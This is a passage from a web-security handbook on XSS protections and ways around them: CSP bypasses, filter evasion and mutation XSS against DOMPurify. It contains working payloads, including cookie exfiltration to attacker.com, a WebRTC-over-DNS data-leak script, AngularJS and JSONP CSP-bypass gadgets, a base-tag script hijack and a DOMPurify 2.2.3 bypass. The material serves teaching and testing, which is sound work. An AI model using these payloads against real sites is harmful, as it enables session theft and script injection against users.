# Protections

### Protections <a href="#protections" id="protections"></a>

XSS is a well-known issue, and many protections try to limit its possibility on websites. There are basically two cases a website needs to handle when reflecting a user's content:

1. Content, but **no HTML** is allowed (almost all data)
2. **Limited HTML tags** are allowed (rich text like editors)

The **1st** is very easily protected by using HTML Encoding. Many frameworks already do this by default, and explicitly have you write some extra code to turn it off. Most often this encodes only the special characters like `<` to `&lt;`, `>` to `&gt;`, and `"` to `&quot;`. While this type of protection is completely safe in most cases, some situations exist where these specific characters are _not required_ to achieve XSS. We've seen examples of [Attribute Injection](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#attribute-injection) where a `'` single quote is used instead, which may not be encoded and thus can be escaped. Or when your attribute is not enclosed at all and a simple space character can add another malicious attribute. With [Script Injection](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#script-injection) this is a similar story, as well as [DOM XSS](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#dom-xss).

The **2nd** case is _very hard_ to protect securely. First, because many tags have unexpected abilities, like the `<a href=javascript:alert()>` protocol. If posting links is allowed, they need to think about preventing the `javascript:` protocol specifically and allowing regular `https://` links. There exist a ton of different tags and attributes that can execute JavaScript (see the [Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) making a blocklist almost infeasible, and an allowlist should be used. The second reason this is hard is because browsers are _weird_, like _really weird_. The [HTML Specification](https://html.spec.whatwg.org/) contains a lot of rules and edge cases a filter should handle. If a filter parses a specially crafted payload differently from a browser, the malicious data might go unnoticed and end up executing in the victim's browser.

#### Content Security Policy (CSP) <a href="#content-security-policy-csp" id="content-security-policy-csp"></a>

A more modern protection against XSS and some other attacks is the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP). This is a Header (`Content-Security-Policy:`) or `<meta>` value in a response that tells the browser what should be allowed, and what shouldn't. An important directive that can be set using this header is [`script-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src), defining where JavaScript code may come from:

```http
Content-Security-Policy: script-src 'self' https://example.com/
```

```markup
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self' https://example.com/">
```

With the above policy set, any `<script src=...>` that is _not_ from the current domain or "example.com" will be blocked. When you explicitly set a policy like this it also disables inline scripts like `<script>alert()</script>` or event handlers like `<style onload=alert()>` from executing, even ones from the server itself as there is no way to differentiate between intended and malicious. This possibly breaking change where all scripts need to come from trusted URLs is sometimes "fixed" by adding a special [`'unsafe-inline'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script) string that allows inline script tags and event handlers to execute, which as the name suggests, is very **unsafe**.

A different less-common way to allow inline scripts without allowing _all_ inline scripts is with **nonce**s, random values generated by the server. This nonce is put inside of the `script-src` directive like `'nonce-2726c7f26c'`, requiring every inline script to have a `nonce=` attribute equaling the specified random value. In theory, an attacker should not be able to predict this random value as it should be different for every request. This works in a similar way to CSRF tokens and relies on secure randomness by the server. If implemented well, this is a very effective way of preventing XSS.

The last important string in this directive is `'unsafe-eval'` which is disabled by default, blocking several functions that can execute code from a string:

* `eval()`
* `Function()`
* Passing a string to `setTimeout()`, `setInterval()` or `window.setImmediate()` (for example: `setTimeout("alert()", 500)`)

Note however that this does not prevent all methods of executing code from a string. If `'unsafe-inline'` allows it, you can still write to the DOM with event handlers if required:

```markup
document.body.setAttribute('onclick', 'alert(1)')
document.body.click()
```

To easily evaluate and find problems with a CSP header, you can use [Google's CSP](https://csp-evaluator.withgoogle.com/) Evaluator which tells you for every directive what potential problems it finds

**Hosting JavaScript on `'self'`**

The URLs and `'self'` trust all scripts coming from that domain, meaning in a secure environment no user data should be stored under those domains, like uploaded JavaScript files. If this is allowed, an attacker can simply upload and host their payload on an allowed website and it is suddenly trusted by the CSP.

/uploads/payload.js

```
alert()
```

PayloadCopy

```markup
<script src=/uploads/payload.js></script>
```

For more complex scenarios where you cannot directly upload `.js` files, the `Content-Type:` header comes into play. The browser decides based on this header if the requested file is likely to be a real script, and if the type is `image/png` for example, it will simply refuse to execute it:

![Browser refusing to execute image/png file as JavaScript source](https://book.jorianwoltjer.com/~gitbook/image?url=https%3A%2F%2F3698848315-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F677wrA8ZfiPs1U4l5uR6%252Fuploads%252FOSaYMeYNqe1IfXKLzIHf%252Fimage.png%3Falt%3Dmedia%26token%3D17074ed8-7e2b-4479-a7b8-a709631c3acf\&width=768\&dpr=4\&quality=100\&sign=5f03c291\&sv=1)

Some more ambiguous types are allowed, however, like `text/plain`, `text/html` or **no type at all**. These are especially useful as commonly a framework will decide what `Content-Type` to add based on the file extension, which may be empty in some cases causing it to choose a type allowed for JavaScript execution. This ambiguity is prevented however with an extra `X-Content-Type-Options: nosniff` header that is sometimes set, making the detection from the browser a lot more strict and only allowing real `application/javascript` files ([full list](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc#50)).

An application may sanitize uploaded files by checking for a few signatures if it looks like a valid PNG, JPEG, GIF, etc. file which can limit exploitability as it still needs to be valid JavaScript code without `SyntaxError`s. In these cases, you can try to make a **"polyglot"** that passes the validation checks of the server, while remaining valid JavaScript by using the file format in a smart way and language features like comments to remove unwanted code.

Another idea instead of _storing_ data, is **reflecting** data. If there is any page that generates a response you can turn into valid JavaScript code, you may be able to abuse it for your payload. [JSONP](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) or other callback endpoints are also useful here as they always have the correct `Content-Type`, and may allow you to insert arbitrary code in place of the `?callback=` parameter, serving as your reflection of valid JavaScript code.

**Exfiltrating with strict** [**`connect-src`**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src)

This directive defines which hosts can be **connected to**, meaning if your attacker's server is not on the list, you cannot make a `fetch()` request like normal to your server in order to exfiltrate any data. While there is no direct bypass for this, you may be able to still connect to any origin **allowed** to exfiltrate data by _storing_ it, and _later retrieving_ it as the attacker at a place you can find. By [Forcing requests - fetch()](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#forcing-requests-fetch), you could, for example, make a POST request that changes a profile picture, or some other public data, while embedding the data you want to exfiltrate. This way the policy is not broken, but the attacker can still find the data on the website itself.

With this technique, remember that even _one bit_ of information is enough, as you can often _repeat_ it to reveal a larger amount of information.

A more general bypass for this is to _redirect_ the user fully using JavaScript, as browsers do not prevent this. Then in the URL, you put the data you want to exfiltrate to receive it in a request:

```javascript
// Redirect via document.location:
location = `http://attacker.com/leak?${btoa(document.cookie)}`
// Redirect via <meta> tag (only at start of page load):
document.write(`<meta http-equiv="refresh" content="0; url=http://attacker.com/leak?${btoa(document.cookie)}">`)
```

Another useful method is WebRTC which **bypasses** `connect-src`. The DNS lookup is not blocked and allows for dynamically inserting data into the subdomain field. These names are case-insensitive so an encoding scheme like Base32 can be used to exfiltrate arbitrary data (max \~100 characters per request). Using [`interactsh`](https://github.com/projectdiscovery/interactsh) it is easy to set up a domain to exfiltrate from:

```
$ interactsh-client

[INF] Listing 1 payload for OOB Testing
[INF] ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online
```

Then we use the WebRTC trick to exfiltrate any data over DNS:

```javascript
function base32(s) {
  let b = "";
  for (let i = 0; i < s.length; i++) {
    b += s.charCodeAt(i).toString(2).padStart(8, "0");
  }
  let a = "abcdefghijklmnopqrstuvwxyz234567";
  let r = "";
  for (let i = 0; i < b.length; i += 5) {
    let p = b.substr(i, 5).padEnd(5, "0");
    let j = parseInt(p, 2);
    r += a.charAt(j);
  }
  return r.match(/.{1,63}/g).join(".");
}

async function leak(data) {
  let c = { iceServers: [{ urls: `stun:${base32(data)}.ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online` }] };
  let p = new RTCPeerConnection(c);
  p.createDataChannel("");
  await p.setLocalDescription();
}

leak("Hello, world! ".repeat(8));
```

Finally, we receive DNS requests on the `interactsh-client` that we can [decode](https://gchq.github.io/CyberChef/#recipe=To_Upper_case\('All'\)From_Base32\('A-Z2-7%3D',true\)\&input=akJzd1kzZFBmcXFITzMzU25yc2NjSWNpTVZ3R3kzek1FYjN3NjRUTU1RcVNBU2RmTnJXZzZsYmFvNXhYZTNkLmVlRXFlUVpMbW5yWHNZaUR4TjV6Z3laQkJFYkVHSzNkTU40d2NBNTNwb2p3R0lJakFKQlNXeTNEcEZxcUhPMy4zc25Sc2NDSWNpTVZXZ1kzek1lYjN3NjR0bU1RcVNBU0RGTnJ3ZzZsYkFvNVhYZTNkZWVFUWE):

interactsh-client :

```
...
[jbswY3dpfqqHo33snrSccICiMvwGY3zMeB3w64TMMqqsaSdfNRwg6LBao5xxe3d.eEeqEqzLMnrxSyIdXn5ZGyZbBEBEGK3dmN4WcA53pojWGIijAjbsWy3dPfQqHO3.3SNrScCIciMVwgY3zMEB3W64tmmqqSASDfnrWG6LbaO5xXe3DeEeQa.CkJbCs2q8GudlQGiTungUCqgux7BFhahq] Received DNS interaction (A) from 74.125.114.204
```

**CDNs in `script-src` (AngularJS Bypass + JSONP)**

Every origin in this directive is trusted with all URLs it hosts. A common addition here is CDN (Content Delivery Network) domains that host many different JavaScript files for libraries. While in very unrestricted situations a CDN like [unpkg.com](https://www.unpkg.com/) will host **every file on NPM**, even malicious ones, others are less obvious.

The [cdnjs.cloudflare.com](https://cdnjs.cloudflare.com/) or [ajax.googleapis.com](https://ajax.googleapis.com/) domains for example host **only specific** popular libraries which should be secure, but some have exploitable features. The most well-known is AngularJS, which a vulnerable site may also host themselves removing the need for a CDN. This library searches for specific patterns in the DOM that can define event handlers without the regular inline syntax. This bypasses the CSP and can allow arbitrary JavaScript execution by loading such a library, and including your own malicious content in the DOM:

```markup
<!-- *.googleapis.com -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)"></script>
<!-- *.google.com -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
<!-- ajax.googleapis.com (click) + maps.googleapis.com (no click) -->
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js></script>
<div ng-app ng-csp id=x ng-click=$event.view.alert($event.view.document.domain)></div>
<script async src=https://maps.googleapis.com/maps/api/js?callback=x.click></script>
<!-- cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>{{$on.curry.call().alert($on.curry.call().document.domain)}}</div>
```

Loading any of these blocks in a CSP that allows it, will trigger the `alert(document.domain)` function. A common pattern for finding these bypasses is using Angular to create an environment where code can be executed from **event handlers**, and then another library or callback function to **click** on the element, triggering the handler with your malicious code.

See [jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) for a not-so-updated list of public JSONP endpoints you may find useful.

[CSP Bypass Search](https://cspbypass.com/)Public list of Angular/JSONP gadgets for CSP Bypasses

See [AngularJS](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#angularjs) for more complex AngularJS injections that bypass filters. Also, note that other frameworks such as [VueJS](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#vuejs) or [HTMX](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#htmx) may allow similar bypasses if they are accessible when `unsafe-eval` is set in the CSP.

**Redirect to upper directory**

URLs in a CSP may be absolute, not just an origin. The following example provides a full URL to `base64.min.js`, and you would expect only that script could be loaded from the `cdn.js.cloudflare.com` origin.

```http
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/Base64/1.3.0/base64.min.js
```

This is not entirely true, however. If another origin, like `'self'` contains an **Open Redirect** vulnerability, you may redirect a script URL to any path on `cdnjs.cloudflare.com`!

[Sandbox-iframe XSS challenge solution - Johan CarlssonJohan Carlsson](https://joaxcar.com/blog/2024/05/16/sandbox-iframe-xss-challenge-solution/)Challenge writeup involving CSP open redirect bypass

The following script would be allowed by the [CSP spec](https://www.w3.org/TR/CSP3/#source-list-paths-and-redirects), note that the `angular.js` path is not normally allowed, but it is through the redirect because its origin is allowed. This can be abused with some HTML that executes arbitrary JavaScript, even if `'unsafe-eval'` is not set:

```markup
<script src="/redirect?url=https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fangular.js%2F1.8.3%2Fangular.min.js"></script>
<div ng-app><img src=x ng-on-error="$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.defaultView.origin)"></div>
```

**Nonce without base-src**

If a CSP filters scripts based on a **nonce**, and does not specify a `base-src` directive, you may be able to hijack relative URLs after your injection point.

```http
Content-Security-Policy: script-src 'nonce-abc'
```

Let's say the target page with an HTML-injection looks as follows:

```markup
<body>
  INJECT_HERE
  <script nonce="abc" src="/script.js">
</body>
```

The relative `<script>` tag can be redirect to another domain using the `<base>` tag as follows:

```markup
<body>
  <base href="https://attacker.com">
  <script nonce="abc" src="/script.js">
</body>
```

Now, the script with a valid nonce is loaded from `https://attacker.com/script.js` instead of the target website!

#### Filter Bypasses <a href="#filter-bypasses" id="filter-bypasses"></a>

Some of the most useful and common filter bypasses are shown in [Common Filter Bypasses](https://book.jorianwoltjer.com/web/cross-site-scripting-xss#common-filter-bypasses).

If a server is checking your input for suspicious strings, they will have a hard time as there are many ways to obfuscate your payloads. Even a simple `<a href=...>` tag has many places where the browser allows special and unexpected characters, which may break the pattern the server is trying to search for. Here is a clear diagram showing _where_ you can insert _what_ characters:

![XSS mutation points with possible special characters (source)](https://book.jorianwoltjer.com/~gitbook/image?url=https%3A%2F%2F3698848315-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F677wrA8ZfiPs1U4l5uR6%252Fuploads%252Fcx6nsutoneo5FtHpmh9J%252Fimage.png%3Falt%3Dmedia%26token%3Dfae82a67-4cf0-4cec-b641-fa6655b6b0d6\&width=768\&dpr=4\&quality=100\&sign=dae71c82\&sv=1)

The XSS Cheat Sheet by PortSwigger has an extremely comprehensive list of all possible tags, attributes, and browsers that allow JavaScript execution, with varying levels of user interaction:

[![Logo](https://portswigger.net/content/images/logos/favicon.ico)Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security AcademyWebSecAcademy](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)Filterable list of almost every imaginable HTML that can trigger JavaScript

You can use the above list to filter certain tags you know are allowed/blocked, and copy all payloads for fuzzing using a tool to find what gets through a filter.

**JavaScript payload**

In case you are able to inject JavaScript correctly but are unable to exploit it due to the filter blocking your JavaScript payload, there are many tricks to still achieve code execution. One of them is using the `location` variable, which can be assigned to a `javascript:` URL just like in DOM XSS, but this is now a very simple function call trigger as we don't need parentheses or backticks, as we can escape them in a string like `\x28` and `\x29`.

```javascript
location="javascript:alert\x28\x29"
```

In fact, we can even go one step further and use the global `name` variable which is controllable by an attacker. So global, that it **persists between navigations**. When a victim visits our site like in an XSS scenario, we can set the `name` variable to any payload we like and redirect to the vulnerable page to trigger it (see [this video](https://www.youtube.com/watch?v=3zShGLEqDn8) for more info and explanation):

JavaScript Payload :

```javascript
location=name
```

Attacker's page :

```markup
<script>
  name = "javascript:alert()";
  location = "http://target.com/?xss=location%3Dname";
</script>
```

#### Mutation XSS & DOMPurify <a href="#mutation-xss-and-dompurify" id="mutation-xss-and-dompurify"></a>

Mutation XSS is a special kind of XSS payload where you are **abusing a difference in the checking environment vs. the destination environment**. There are some special browser rules for when HTML finds itself in certain tags, that are different from inside other tags. This difference can sometimes be abused to create a benign payload in the checking context but will be mutated by the browser in a different context into a malicious payload.

Let's take the following example: The [DOMPurify](https://github.com/cure53/DOMPurify) sanitizer is used to filter out malicious content that could trigger JavaScript execution, which it does perfectly on the following string:

DOMPurify :

```markup
<p id="</title><img src=x onerror=alert()>"></p>
```

There is a `<p>` tag with `"</title><img src=x onerror=alert()>"` as its `id=` attribute, nothing more, and nothing that would trigger JavaScript surely. But then comes along the browser, which sees this payload placed into the DOM, inside the existing `<title>` tag:

Browser DOM :

```markup
<title>
    <p id="</title><img src=x onerror=alert()>"></p>
</title>
```

Perhaps surprisingly, it is **parsed differently** now that it is inside of the `<title>` tag. Instead of a simple `<p>` tag with an `id=` attribute, this turned into the following after mutation:

Browser DOM after mutation :

```markup
<html><head><title>
    &lt;p id="</title></head><body><img src="x" onerror="alert()">"&gt;<p></p>
</body></html>
```

See what happened here? It suddenly closed with the `</title>` tag and started an `<img>` tag with the malicious `onerror=` attribute, executing JavaScript, and causing XSS! This means in the following example, `alert(1)` fires but `alert(2)` does not:

Demo :

```markup
<title>
    <p id="</title><img src=x onerror=alert(1)>"></p>
</title>
<p id="</title><img src=x onerror=alert(2)>"></p>
```

DOMPurify does not know of the `<title>` tag the application puts it in later, so it can only say if the HTML is safe on its own. In this case, it is, so we bypass the check through Mutation XSS.

![Example from mizu.re's writeup showing the difference between the browser and DOMPurify](https://book.jorianwoltjer.com/~gitbook/image?url=https%3A%2F%2F3698848315-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F677wrA8ZfiPs1U4l5uR6%252Fuploads%252Fsmxm5OEtCWi2Z1cGv8j3%252Fimage.png%3Falt%3Dmedia%26token%3D5e5c61b6-edac-467c-a078-cbd7570fc047\&width=768\&dpr=4\&quality=100\&sign=72c613ba\&sv=1)

A quick for-loop later we can find that this same syntax works for all these tags: `iframe`, `noembed`, `noframes`, `noscript`, `script`, `style`, `textarea`, `title`, `xmp`

These types of Mutation XSS tricks are highly useful in bypassing simpler sanitizer parsers because DOMPurify had to really put in some effort to get this far. Writing payloads that put the real XSS in an attribute and use mutation to escape out of it can be unexpected and the developers may not have thought about the possibility, and only use some regexes or naive parsing.

Where this gets really powerful is using HTML encoding if the sanitizer parses the payload, and then reassembles the HTML afterward, for example:

```markup
<title><p id="&lt;&sol;title&gt;&lt;img src&equals;x onerror&equals;alert&lpar;&rpar;&gt;"></p></title>
<!-- could be serialized back into this Mutation XSS -->
<title><p id="</title><img src=x onerror=alert()>"></p></title>
```

***

There is also another interesting exploitable scenario, where your input is placed inside an `<svg>` tag after sanitization:

```markup
<svg>
    a<style><!--</style><a id="--!><img src=x onerror=alert()>"></a>
</svg>
```

This is another DOMPurify "bypass" with a more common threat, all a developer needs to do is put your payload inside of an `<svg>` tag, without sanitizing it with the `<svg>` tag. This payload is a bit more complicated as you'll see, but **here's a breakdown**: The trick is the difference between SVG parsing and HTML parsing. _In HTML_ which DOMPurify sees, the `<style>` tag is special as it switches the parsing context to CSS, which doesn't support comments like `<!--` and it won't be interpreted as such. Therefore the `</style>` closes it and the `<a id="...">` opens another innocent tag and attribute. DOMPurify doesn't notify anything wrong here and won't alter the input. _In SVG,_ however, the `<style>` tag doesn't exist and it is interpreted as any other invalid tag in XML. The children inside might be more tags, a `<!--` comment in this case. This only ends at the start of the `<a id="--!>` attribute and that means after the comment comes more raw HTML. Then our `<img onerror=>` tag is read for real and the JavaScript is executed!

**Tip**: Instead of a comment, another possibility is using the special `<![CDATA[` ... `]]` syntax in SVGs that abuses a similar parsing difference:

```markup
<svg>
    a<style><![CDATA[</style><a id="]]><img src=x onerror=alert()>"></a>
</svg>
```

**DOMPurify outdated versions**

While the abovementioned tricks can get around specific situations, an _outdated version_ of the [`dompurify`](https://www.npmjs.com/package/dompurify) library can cause every output to be vulnerable by completely bypassing DOMPurify in a regular context. The **latest vulnerable version is 2.2.3** with a complete bypass found by [@TheGrandPew](https://twitter.com/TheGrandPew) in _dec. 2020_. The following payload will trigger `alert()` when sanitized and put into a regular part of the DOM:

DOMPurify 2.2.3 Bypass

```markup
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src onerror=alert()>">
```
